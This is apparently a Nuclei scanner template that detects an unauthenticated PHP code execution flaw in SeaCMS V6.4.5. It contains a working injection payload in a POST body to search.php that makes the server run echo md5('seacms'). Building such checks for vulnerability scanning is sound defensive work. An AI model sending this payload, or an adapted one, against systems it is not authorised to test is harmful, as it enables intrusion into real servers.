id: seacms-rce

info:
  name: SeaCMS V6.4.5 RCE
  author: pikpikcu
  severity: high
  description: A vulnerability in SeaCMS allows remote unauthenticated attackers to execute arbitrary PHP code.
  reference:
    - https://mengsec.com/2018/08/06/SeaCMS-v6-45前台代码执行漏洞分析/
  metadata:
    max-request: 1
  tags: seacms,rce

http:
  - method: POST
    path:
      - '{{BaseURL}}/search.php?searchtype=5'

    body: "searchtype=5&order=}{end if} {if:1)echo md5('seacms');if(1}{end if}"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "b1e597fa44dfd7669966bfab04eeb8ea"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e3a260cc933299c03689254e4a319db10fae7207c711ecacee0c37cf13e7dfb502207917cc229b03732841067103a944e400e896cd9be0d7b1e8385b30ca5889ae25:922c64590222798bb761d5b6d8e72950